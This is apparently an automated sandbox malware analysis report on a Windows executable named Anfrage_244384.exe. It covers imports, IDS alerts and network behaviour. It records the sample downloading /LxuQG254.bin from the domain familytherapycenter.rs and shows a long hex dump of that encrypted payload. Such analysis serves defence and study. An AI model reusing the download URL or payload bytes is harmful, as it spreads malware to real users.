                                                        RT_VERSION0xaf8f80x2c8dataEnglishUnited States0.5084269662921348
                                                        RT_MANIFEST0xafbc00x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795

                                                        Imports

                                                        DLLImport
                                                        KERNEL32.dllSetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
                                                        USER32.dllScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
                                                        GDI32.dllSelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                        SHELL32.dllSHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
                                                        ADVAPI32.dllRegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
                                                        COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                        ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

                                                        Possible Origin

                                                        Language of compilation systemCountry where language is spokenMap
                                                        EnglishUnited States

                                                        Network Behavior

                                                        Suricata IDS Alerts

                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                        2024-11-08T15:58:10.599799+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow152.149.20.212443192.168.2.549704TCP
                                                        2024-11-08T15:58:39.578370+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow152.149.20.212443192.168.2.564321TCP
                                                        2024-11-08T15:58:51.330291+01002803270ETPRO MALWARE Common Downloader Header Pattern UHCa2192.168.2.564376188.40.95.144443TCP

                                                        Network Port Distribution

                                                        TCP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Nov 8, 2024 15:58:49.931587934 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:49.931637049 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:49.931830883 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:49.940556049 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:49.940567970 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:50.816890001 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:50.817017078 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:50.931622982 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:50.931654930 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:50.932040930 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:50.932097912 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:50.934317112 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:50.979334116 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.330332041 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.330358028 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.330396891 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:51.330410004 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.330425978 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:51.330459118 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:51.446958065 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.447052956 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:51.465847015 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.465936899 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:51.600286007 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.600370884 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:51.601181984 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.601250887 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:51.735801935 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.735943079 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:51.736732006 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.736792088 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:51.871306896 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.871409893 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:51.872037888 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:51.872107029 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.006932020 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.007093906 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.141761065 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.141855955 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.142323971 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.142385006 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.277699947 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.277801037 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.278208017 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.278276920 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.412570953 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.412674904 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.413299084 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.413373947 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.547866106 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.547950983 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.548389912 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.548444986 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.684014082 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.684114933 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.684669971 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.684740067 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.819138050 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.819423914 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.860609055 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.860730886 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.954082966 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.954390049 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:52.955152988 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:52.955240011 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.089543104 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.089812040 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.089847088 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.089883089 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.089900970 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.089921951 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.130764961 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.130907059 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.253690958 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.253875971 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.265909910 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.266100883 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.371228933 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.371401072 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.371598959 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.371700048 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.442001104 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.442173958 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.497750044 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.497922897 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.537484884 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.537569046 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.634948969 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.635030031 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.635437012 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.635499954 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.635518074 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.635535002 CET44364376188.40.95.144192.168.2.5
                                                        Nov 8, 2024 15:58:53.635566950 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.635607004 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.662751913 CET64376443192.168.2.5188.40.95.144
                                                        Nov 8, 2024 15:58:53.662790060 CET44364376188.40.95.144192.168.2.5

                                                        UDP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Nov 8, 2024 15:58:36.660015106 CET5350370162.159.36.2192.168.2.5
                                                        Nov 8, 2024 15:58:37.368616104 CET53618171.1.1.1192.168.2.5
                                                        Nov 8, 2024 15:58:49.689189911 CET6412853192.168.2.51.1.1.1
                                                        Nov 8, 2024 15:58:49.922461033 CET53641281.1.1.1192.168.2.5

                                                        DNS Queries

                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                        Nov 8, 2024 15:58:49.689189911 CET192.168.2.51.1.1.10x7e1aStandard query (0)familytherapycenter.rsA (IP address)IN (0x0001)false

                                                        DNS Answers

                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                        Nov 8, 2024 15:58:49.922461033 CET1.1.1.1192.168.2.50x7e1aNo error (0)familytherapycenter.rs188.40.95.144A (IP address)IN (0x0001)false

                                                        HTTP Request Dependency Graph

                                                        • familytherapycenter.rs

                                                        HTTPS Proxied Packets

                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        0192.168.2.564376188.40.95.1444437152C:\Users\user\Desktop\Anfrage_244384.exe
                                                        TimestampBytes transferredDirectionData
                                                        2024-11-08 14:58:50 UTC179OUTGET /LxuQG254.bin HTTP/1.1
                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
                                                        Host: familytherapycenter.rs
                                                        Cache-Control: no-cache
                                                        2024-11-08 14:58:51 UTC320INHTTP/1.1 200 OK
                                                        Date: Fri, 08 Nov 2024 14:58:51 GMT
                                                        Server: Apache
                                                        Upgrade: h2,h2c
                                                        Connection: Upgrade, close
                                                        Last-Modified: Wed, 06 Nov 2024 12:59:16 GMT
                                                        Accept-Ranges: bytes
                                                        Content-Length: 287296
                                                        Cache-Control: max-age=172800
                                                        Expires: Sun, 10 Nov 2024 14:58:51 GMT
                                                        Content-Type: application/octet-stream
                                                        2024-11-08 14:58:51 UTC7872INData Raw: c0 b9 3e 28 30 da 83 9a 5c ed 72 ef 7f 0f 8d 33 3e c7 04 23 96 31 bc 25 ad e5 43 f8 24 a5 16 89 26 43 4e 31 c7 bf 6f 29 35 dc b7 c3 b3 2d 13 86 80 e0 62 7f 60 b5 09 59 58 ff 5b 35 c9 eb 2a 5f ed 0d 1d 90 95 18 50 b9 be b0 fe 42 cb 14 a5 11 41 0f 5d 6d e1 33 b9 61 15 f1 b7 57 ab fa 18 78 a5 38 7a 10 1f 8f 54 44 33 a1 b3 98 8d fd 6b 7b 8f 0e 63 ea 35 ee 5a 74 d1 f3 27 e3 4a 72 16 b2 ba 9e c3 a3 a8 20 0c 5d a5 b0 e7 36 77 cb 78 3d af ae e6 5a 07 a7 12 a5 56 53 4c 64 89 9f 0e 80 ff c3 e5 20 5e 28 0d 49 ee 4f 4a 41 91 5d 79 38 b9 df 7e 36 e4 55 31 f4 80 e1 19 55 21 cd bd 89 52 b8 b7 25 34 52 be e4 5b fb e1 66 e7 2f 13 e9 c6 c3 9e 11 d0 7f e1 ab 6c 77 20 f3 71 ec 37 f2 02 13 ce 13 41 45 23 1f c9 38 c4 7c 6d 2b b2 46 ef 41 d0 a2 17 42 e5 a8 18 73 ee 3f cf 3a ef
                                                        Data Ascii: >(0\r3>#1%C$&CN1o)5-b`YX[5*_PBA]m3aWx8zTD3k{c5Zt'Jr ]6wx=ZVSLd ^(IOJA]y8~6U1U!R%4R[f/lw q7AE#8|m+FABs?:
                                                        2024-11-08 14:58:51 UTC8000INData Raw: 37 78 b6 2d 64 dc cc bd 71 a2 a3 f5 7a c9 60 8f fa 0e 2c 56 ec 90 7d 40 7c e0 de 01 b8 f1 ae b8 48 8e 6c e8 c6 96 22 42 dd 40 95 8a 97 dd 4f fe ba e9 8b d3 54 56 96 6f 07 21 f1 fe 6d f5 da 13 a0 0b 9e 10 72 1e cc 96 b9 bc 4c 3e e3 6f 9b 7f 30 98 de 96 ed 14 ae cb 4b fd 75 49 02 9c a2 cf 4c da 99 2d aa a9 b0 cc ff 65 32 21 9b cb 2d 20 49 b3 a2 e5 12 91 df c2 ac 46 9e 17 a1 64 df 15 b8 6e b9 86 f1 ab 67 8f d0 16 08 4d 0e 53 d2 cd e4 b5 af 07 e2 e7 34 57 bd d0 b4 72 e8 9f 55 86 68 90 63 10 d3 1a 3b 46 81 31 f6 36 26 8b aa 86 81 f1 33 23 c3 05 ab 6b 9f 6b 1f 0c c5 da b8 51 bc 18 8f 50 1c 26 76 76 e9 c7 71 c5 1c 61 b7 66 5d 86 e3 c4 94 20 ff b0 2e 3c fa e2 0b 75 b1 eb 62 df 8d 5a 86 88 4a 01 aa 7c d4 8b 3f e0 b7 35 f4 bf d1 f7 ca 6d 13 f2 05 9d ab 48 37 3f 0e
                                                        Data Ascii: 7x-dqz`,V}@|Hl"B@OTVo!mrL>o0KuIL-e2!- IFdngMS4WrUhc;F16&3#kkQP&vvqaf] .<ubZJ|?5mH7?
                                                        2024-11-08 14:58:51 UTC8000INData Raw: 8c 4b 9e 21 ec b5 43 2f e4 32 b2 06 03 88 73 63 ea dc 05 b2 bb c4 a4 18 46 67 13 43 5d 46 42 11 c0 a6 53 d2 80 fc 44 47 29 34 88 65 fb 18 ad 8e 1e 1c 44 c0 c1 5d 7f 9c a2 d2 e6 d8 89 5f 5a 9f 9a 86 a8 af d9 fc 13 3b 71 38 4b 8b f5 ff 30 1d 73 dd 7a 05 bc 00 84 12 43 18 a6 13 1d 89 61 95 8b 47 42 8c 69 5f 49 64 85 d9 0f 40 f4 e5 59 b0 7f 0b d0 50 49 0b 8f 3d 37 bd 35 ea 47 07 83 ad 51 97 d6 6f 85 d0 ba 63 4d 5b 75 d2 ce 6e a6 66 88 f9 1e 04 6b 6c 63 e4 24 fb fb a9 1a 91 1c 84 e0 de bd d0 28 ed 63 7c 2c 16 5a e4 1f e5 b0 4f a9 05 6b 01 d4 07 21 5f 98 96 f6 c4 f5 d4 53 28 cd 6e c0 a8 61 69 39 f4 67 61 4d 36 c6 9e b7 bc 9c 5b c1 99 6b 01 60 68 56 21 9e 4e 8c dc 81 f4 09 32 77 00 0c 7e dd de 7a d6 9c 86 4f e7 cb d6 0b 9f 4a b0 a5 ca 88 bf 94 e4 d3 40 1a b2 40
                                                        Data Ascii: K!C/2scFgC]FBSDG)4eD]_Z;q8K0szCaGBi_Id@YPI=75GQocM[unfklc$(c|,ZOk!_S(nai9gaM6[k`hV!N2w~zOJ@@
                                                        2024-11-08 14:58:51 UTC8000INData Raw: 0e 7c 72 21 38 05 ca f2 1f 3a bd 3d ce 1a 5d 37 07 86 a1 67 81 ce 06 52 1a a8 8a fd a6 37 61 44 46 e7 af 09 2b 2b b3 f5 cb eb c1 6c 4b ea d5 13 60 9b 4a 16 51 ec 21 64 c9 98 00 d1 8f 64 2c 77 78 97 e3 44 fd a9 eb 5b 8b 7a 40 81 74 06 e3 c2 81 bf d1 bb 9c 34 f7 fc ea 21 d7 bc 8e 4b 7e c7 8a 35 f1 99 4d 22 69 41 d7 2f b0 ce db f3 f6 d2 17 91 a7 0c 0e 3c 99 15 e6 8b 58 a1 83 c0 16 a1 e1 5e f1 15 37 e0 57 98 1d 23 79 2a f7 ce 25 a3 19 f2 ba d6 22 5e 6f 04 8d 90 e8 c8 88 ee a6 fc 84 c8 6f b1 37 f8 7f 8d 0d 9e 5c 39 c7 7d 2d dd 4e d5 43 a3 39 f1 17 62 ba 5a 55 8a 3e a4 24 a2 3b 22 a3 e0 c3 9b ef 7e 1c 47 55 2e 1f ba d0 54 b7 0f 16 bb 5e dd 27 34 ac 93 71 a2 4d a1 03 48 13 35 af ab 37 32 58 3d 21 f3 92 44 47 f3 a7 92 b1 ff 62 7a e3 55 e9 9a 3a 3e 1e 0f eb 60 a5
                                                        Data Ascii: |r!8:=]7gR7aDF++lK`JQ!dd,wxD[z@t4!K~5M"iA/<X^7W#y*%"^oo7\9}-NC9bZU>$;"~GU.T^'4qMH572X=!DGbzU:>`
                                                        2024-11-08 14:58:51 UTC8000INData Raw: fb 4c b2 a6 fc 08 13 7e d3 3a 5a 4e 78 47 0b c1 d2 de 37 be 8f 87 03 17 53 01 dd f3 64 8a e7 2f 85 9a f0 bd 3c 59 85 20 a3 9c 4b ec 7b 77 8e 54 8a 87 02 3e 69 05 2e 67 22 f9 89 81 4e 02 ec 65 fe 84 75 92 7b 5a 66 83 d8 57 da 5b ca a0 a8 f1 75 d9 2a d0 a2 a9 0f dc 31 12 5d d2 2f 82 50 e0 7d 59 e7 a1 cd b4 2b 34 4a 86 4f 81 fb 1d c2 c7 52 95 98 d1 f5 1d c2 d2 6f 3f 81 69 aa 89 9d 1f 49 de 32 ff c5 8c f2 87 f7 98 16 da f4 23 03 93 0f 35 ac f0 5b f1 63 a4 b3 02 22 2a f9 2a e0 7c ee f8 fd a7 bf cb 9b 98 66 28 62 31 1f 01 2e de d8 4b 64 79 30 d0 03 7b ef 4a ad 15 d2 02 b6 ed 72 bf dd b7 3f 9b d6 fb c0 e2 f1 87 8a 80 b3 36 38 38 02 b2 20 4a 53 3a f5 0a ab eb 79 f4 ca 7e d6 28 c8 66 82 74 54 b0 db d1 b0 3c f7 5a 0a f4 f5 90 67 f0 87 8a 78 ad a6 bf 6c 70 d8 cf 46
                                                        Data Ascii: L~:ZNxG7Sd/<Y K{wT>i.g"Neu{ZfW[u*1]/P}Y+4JORo?iI2#5[c"**|f(b1.Kdy0{Jr?688 JS:y~(ftT<ZgxlpF
                                                        2024-11-08 14:58:51 UTC8000INData Raw: 4b 9f 91 bf dc 4b 44 c4 e8 12 cf f2 ce 46 5d bc 9f 8b ae 7d 5d 91 10 1a 4f 11 11 06 6b c3 a4 48 29 ce 69 da 2c c7 0d d0 88 df bb 6b 66 1e 9e 06 43 90 25 c1 79 e3 91 4c e9 8e 6e 79 43 a2 b2 aa f9 90 03 bc 34 57 54 c3 44 39 de 7c 88 c5 06 26 aa d8 68 69 e9 82 8a af 5b e3 23 cf 41 84 76 1e 27 37 12 94 03 3a 55 ad 99 39 08 c3 28 b9 43 70 ca d2 67 bb a2 13 78 c8 44 00 b0 9c 50 db 39 a3 60 5c f1 4d 6f 22 12 19 78 78 ce c3 f2 9a 3f ce 15 4d 11 46 da 50 32 df e5 cf f3 8c f7 36 44 62 35 73 cc 3e dd 79 ec c8 26 d3 bf 2d 1f e5 de 10 94 5a 85 5b 9a b7 d2 c0 09 3a 3d d8 b6 bb 20 3f 3d 8d f2 18 af 7a cf 0b 07 4b 2e a8 c1 26 f9 a1 50 94 f8 a1 12 1b be 2c 89 cb 39 1c 02 55 27 ef 49 6c 57 d6 34 9b 49 96 7a 1f 9b 6a ff 29 53 21 54 4b a5 e5 3d 90 61 de ea 46 29 1b 77 d5 29
                                                        Data Ascii: KKDF]}]OkH)i,kfC%yLnyC4WTD9|&hi[#Av'7:U9(CpgxDP9`\Mo"xx?MFP26Db5s>y&-Z[:= ?=zK.&P,9U'IlW4Izj)S!TK=aF)w)
                                                        2024-11-08 14:58:51 UTC8000INData Raw: 80 3e 02 6f 84 0d a2 1f 73 d5 14 38 01 2f cb 41 85 a6 09 43 4b 12 19 03 01 37 de b1 6a e9 06 de 34 3e 95 0e 5e c8 7a 80 e6 e8 92 0a f4 0d f5 b0 9e e9 e5 d8 61 d4 91 22 dd ff e1 e8 1b 1a 78 49 3c 5b 99 18 b7 d2 a9 6e ff d4 92 da b9 87 ee 68 64 ca 40 12 83 63 7f a5 ee 3a 08 39 7c 71 66 3c 60 fb 05 36 01 c1 96 3d 2a 81 9b 80 ae 6c e8 f1 b0 34 d7 8e f8 83 f5 f0 5d 9f 24 43 31 a9 d5 38 90 af a6 f7 87 78 df 83 ab c3 99 82 16 ec 1f f2 72 47 2b a2 4d 61 e6 ce 0e 7e 05 2a 88 51 01 bf 71 dd e3 06 c5 76 02 35 73 33 b7 73 06 d0 ce 5d 4c 8c b6 24 68 dd d6 7c c3 6c 0d 4f 7f f9 43 98 0a 32 1d 1c 1e e3 f3 9b d6 b8 a9 e8 8a d1 6c ef fb e1 50 ff a9 48 77 a5 57 81 e2 19 97 f2 be b9 65 16 07 06 1e d2 6e e8 78 fa 98 89 b6 e1 ee cb cb 9f 42 95 35 df b6 77 99 27 0b f8 03 65 3f
                                                        Data Ascii: >os8/ACK7j4>^za"xI<[nhd@c:9|qf<`6=*l4]$C18xrG+Ma~*Qqv5s3s]L$h|lOC2lPHwWenxB5w'e?
                                                        2024-11-08 14:58:51 UTC8000INData Raw: 44 2a de 77 5a fe c1 7c 43 23 66 89 c1 cd 5f c2 a0 f6 3f 97 8c db 3b a9 85 7c 5c 89 bc 08 6e 68 98 e4 46 38 ea 9e e8 a2 e2 77 31 3f bd 80 ee 7b 09 4c 1c 78 d7 44 af bf 2d 7d dd b3 f5 89 ba ef 46 d5 8a 1b 02 03 6f 7c 18 53 a2 a2 21 2a 9a 6e c8 d7 80 2d 06 4c 00 4c 75 a3 8b d1 9f b2 80 61 91 f4 a0 49 9b 46 2f eb cd 6b c6 91 70 fe 3f da 2c fb 9e 15 1f e4 3d b9 03 26 48 1d ad fc d1 a7 f6 2c 0f 79 54 9e c5 31 19 16 41 27 60 46 63 90 9a 63 d4 8e 7d 2d 16 a4 60 87 f3 f3 8f 93 50 ed 87 6a 4d f7 04 24 03 ce 4c f4 23 18 ed 7a 51 ff 9e dd 3b a7 3e e3 4e f8 2c 6a 3a d2 3c f3 81 e7 f2 c9 01 6d b3 ee 33 67 80 3f 3e d3 38 b0 38 bf 21 03 11 53 38 82 30 8c fc 42 5b ab 59 17 93 dd af fc fb 7b 43 bf b4 fc 80 2b 2e 84 59 4c c6 e3 53 a5 53 88 0a bb 98 64 94 d8 02 06 99 4f 98
                                                        Data Ascii: D*wZ|C#f_?;|\nhF8w1?{LxD-}Fo|S!*n-LLuaIF/kp?,=&H,yT1A'`Fcc}-`PjM$L#zQ;>N,j:<m3g?>88!S80B[Y{C+.YLSSdO
                                                        2024-11-08 14:58:51 UTC8000INData Raw: 52 83 cc 74 9a 65 b2 4d b1 a9 ce bd f4 b9 0a 0f 8f 6a bd d1 83 8f 27 59 c6 83 e3 d5 4b 69 6c 08 30 6c d6 38 99 9b 12 e8 0a 41 23 d8 36 e1 25 74 e9 c1 22 05 42 31 4d a3 21 aa 06 13 75 55 87 ec e7 74 1a 65 d2 5c d4 3a 93 b2 b5 03 b5 45 79 bb c9 fa 60 23 5c 61 ef 91 9b 4b 65 6d fe d8 5e 98 3b 32 2c 4c 25 80 7b 32 f4 88 2a 57 b0 ae 8a 4d fa 43 c0 f2 9d 1b 3b ff e4 6d 04 4e dc bb ed e5 8c 97 45 5c bd 55 a5 86 73 0f 71 15 36 8e dc 88 2d 06 a8 a0 54 f8 28 3e e2 27 e0 1f 1d 8f 33 e4 3a c9 c8 b5 01 3b 8d 18 56 77 4b cc b9 b2 8b 18 77 55 af 7a a4 c2 6d 0e c7 89 31 d4 eb c8 27 7f e2 92 14 24 9e 06 24 3d 3d 6c 88 ad 87 fb 05 01 61 e9 30 ed 30 d4 5b ae 17 2a f0 1c 80 70 87 ed 07 f5 4a 63 2b a1 52 3b 4f 24 45 7c a7 6b 65 10 c6 d0 46 7a 2f 75 27 ec e5 0f 02 03 e6 db ca
                                                        Data Ascii: RteMj'YKil0l8A#6%t"B1M!uUte\:Ey`#\aKem^;2,L%{2*WMC;mNE\Usq6-T(>'3:;VwKwUzm1'$$==la00[*pJc+R;O$E|keFz/u'
                                                        2024-11-08 14:58:52 UTC8000INData Raw: cb af f0 25 7f 9c 76 14 0e c5 87 47 b1 f7 1d c1 25 40 ed 8a c2 58 98 c9 db b4 ee 1b 40 f1 99 40 6d 0e b7 2d 44 ab c0 70 7d 88 f3 7b 06 e6 2d 46 34 aa 53 0c b4 40 db 53 0b e3 d9 51 12 3d 6f 28 20 c3 ef f8 52 f0 a5 c6 03 f4 49 63 53 ff 5b e5 21 4f 4b dd 1c bd 1f 7f 1a 9f 18 f5 9a 4e 24 2f 9b 3a 45 69 62 aa 4c 74 38 19 ec 6d f4 c3 5b fd da 6b 6d 25 dc d6 3f e7 c0 22 8e 60 b7 7c df dc fa 21 0a 2d f8 29 2d a1 b8 8a 08 2e bb f2 cf 6c 98 b5 f2 1a 76 70 2c db 98 f6 6f 79 64 47 73 a9 d5 31 38 db 8b a6 bd 8e dd d8 ca 32 dd 57 3f 09 65 7e b5 d6 73 7b 7c 97 8e 21 a5 3b 95 af 5b f2 65 b9 cb 09 74 d4 76 8f 58 e9 5b 6b 40 8a 5e ef 4d 6d cd a8 29 c3 70 61 6d 63 77 02 a7 0b b8 93 3c 4e e8 d0 e9 f2 40 38 48 80 9b 4e e8 55 fc a3 d0 32 23 e3 a3 48 17 8c 8c 56 6f 91 a0 81 40
                                                        Data Ascii: %vG%@X@@m-Dp}{-F4S@SQ=o( RIcS[!OKN$/:EibLt8m[km%?"`|!-)-.lvp,oydGs182W?e~s{|!;[etvX[k@^Mm)pamcw<N@8HNU2#HVo@


                                                        Statistics

                                                        CPU Usage

                                                        Click to jump to process

                                                        Memory Usage

                                                        Click to jump to process

                                                        Behavior

                                                        Click to jump to process

                                                        System Behavior

                                                        General

